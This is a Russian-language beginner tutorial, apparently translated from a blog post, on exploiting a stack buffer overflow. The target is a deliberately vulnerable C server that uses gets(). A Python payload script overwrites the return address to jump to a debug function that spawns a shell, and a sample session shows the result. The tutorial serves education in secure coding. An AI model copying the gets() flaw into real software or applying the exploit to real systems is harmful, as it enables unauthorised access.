Ваше первое переполнение буфера
Независимо от того, являетесь ли вы студентом, разработчиком или менеджером компании, вы должны попробовать это. Ключом к написанию безопасного кода является понимание того, как плохой код ломается. Единственный способ сломать плохой код — это запачкать руки и начать запускать шеллы в задачах эксплуатации бинарных файлов. В этой статье я расскажу вам, как запустить собственную атаку переполнения буфера, используя пример, который я сделал на YouTube.
В одном из своих видеороликов на YouTube я объяснил, как строки на языке программирования C заставляют людей взламываться. Основная причина этого заключается в том, что нет запеченного атрибута длины, связанного со строковым типом C. Единственный способ узнать, готова ли строка, — это перейти к концу строки.
https://youtu.be/fjMrDDj47E8
Эта концепция привела к бесчисленным уязвимостям переполнения буфера в программном обеспечении и, как следствие, к тысячам кибератак и краже личных данных.
Наш уязвимый сервер
Ниже приведен код простого сервера на C.
#include <stdio.h>
#include <secrets.h>
void debug()
{
printf("!! ENTERING DEBUG MODE !!\n");
system("/bin/bash");
}
int checkPassword()
{
char password[64];
printf("password: ");
gets(password);
return isValidPassword(password);
}
int main(int argc, char **argv)
{
printf("WELCOME TO THE SECURE SERVER\n");
if (checkPassword())
{
debug();
} else {
printf("Wrong password, sorry;\n");
}
}
Однако здесь есть большая уязвимость. Пароль, который в конечном итоге проверяется, считывается функцией gets , которая является чрезвычайно уязвимой функцией. Если вы мне не верите, посмотрите справочную страницу для gets.
Never use gets(). Because it is impossible to tell without knowing the data
in advance how many characters gets() will read, and because gets() will
continue to store characters past the end of the buffer, it is extremely
dangerous to use. It has been used to break computer security. Use fgets()
instead.
Стек
Программистам и специалистам по кибербезопасности сложнее всего понять, как переполнение данных за пределами буфера может привести к тому, что хакер получит контроль над вашим кодом и, в конечном итоге, над вашим компьютером. Это происходит из-за того, как компьютеры организуют память во время работы программы.

В приведенном выше примере кода программа запускается в файле main. После запуска main в строке 10 вызывается other_function . Чрезвычайно важно понять, как other_function узнает, что нужно перейти к строке 11 после возврата.
Структура, содержащая эту информацию, называется «стеком». Стек — это область ОЗУ, которая используется при выполнении вашей программы и используется для хранения как информации о потоке управления (например, адресов возврата), так и данных.
Когда main вызывает other_function , адрес, который будет выполняться следующим в main после возврата other_function , помещается на вершину стека. Запускается другая_функция , а затем программа возвращается к адресу, сохраненному в main .
Вот где переполнение буфера начинает иметь значение. Если в данных вашей программы происходит переполнение буфера, вы можете изменить информацию о потоке управления и, в конечном итоге, изменить способ выполнения программы.

Попробуй сам
То же самое относится и к этому фрагменту кода здесь. Идея этой программы такова: если вы знаете пароль, вы получаете оболочку. К сожалению, мы, хакеры, не знаем пароля, поэтому не получаем шелла. Однако, поскольку функция gets используется, мы можем воспользоваться уязвимостью переполнения буфера и переполнить адрес возврата. Вместо того, чтобы возвращаться обратно к main , мы можем вернуться непосредственно к функции отладки , не зная пароля.
Следуйте здесь:
https://github.com/lowlevellearning/secure-server-stuff
Тестовая функциональность
Для начала нам нужно запустить сервер и протестировать его функциональность. Кроме того, давайте попробуем угадать пароль.

Ладно, без кубиков. Здесь начинается взлом.
Сбой сервера
Мы можем воспользоваться переполнением буфера, как следует из названия, путем переполнения буфера. Для этого мы предоставляем больше данных, чем может обработать сервер.

Внизу мы видим, что в программе произошла ошибка сегментации. Это означает, что программа пыталась получить доступ к памяти, к которой у нее не было доступа. Если вы разработчик, это плохо. Но, если вы пытаетесь взломать сервер, это хорошо :)
Давайте разберем аварию немного дальше.

Здесь мы видим, что в программе произошел сбой при попытке выполнить инструкции по адресу 0x41414141. Этот адрес должен казаться… странным. Интересно, что 0x41414141 — это шестнадцатеричное представление строки «AAAA», что означает, что наша строка As переполнилась адресом возврата, и процессор попытался ее выполнить. СЕЙЧАС БЫЛИ ВЗЛОМЫ!
Взятие под контроль
Чтобы получить точный контроль над адресом возврата, нам нужно точно определить, какая часть нашей строки ASCII вызвала сбой программы. Мы можем сделать это, модулируя нашу строку разными символами и используя символы, чтобы определить, где начинается и заканчивается наш контроль над адресом возврата.

Вместо длинной строки As мы вставляем 64 As, за которыми следует ряд дополнительных символов ASCII. 64 — это длина нашего входного буфера, так что это хорошее место, чтобы начать угадывать длину. После этого вставляем дополнительные символы. Чтобы проверить, где начинается наш элемент управления, используйте ту же команду, что и раньше.

Теперь вы можете видеть, что у нас есть новый обратный адрес. 0x45454545 — это шестнадцатеричное представление «EEEE»! Это означает, что мы определили, где наше переполнение берет на себя управление указателем возврата. Отсюда нам нужно поместить адрес в буфер, который нам действительно нужен. Мы пытаемся вернуться к функции отладки, поэтому мы должны поместить этот адрес вместо строки EEEE.
Чтобы определить адрес отладки, запускаем простую команду…
objdump -d -Mintel ./hacked | less

Похоже, адрес отладки 0x08049296. Если мы поместим адрес отладки там, где была наша строка EEEE, возможно, мы сможем управлять программой и вернуться к отладке без необходимости ввода пароля.
Последний подвиг
Мы можем сделать это, используя немного python-fu.
import sys
payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]
sys.stdout.buffer.write(payload)
user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER
password: !! ENTERING DEBUG MODE !!
cat password
too_kool_4_skoo
Пожалуйста, следите за мной на Medium, подписывайтесь на YouTube. Еще не все!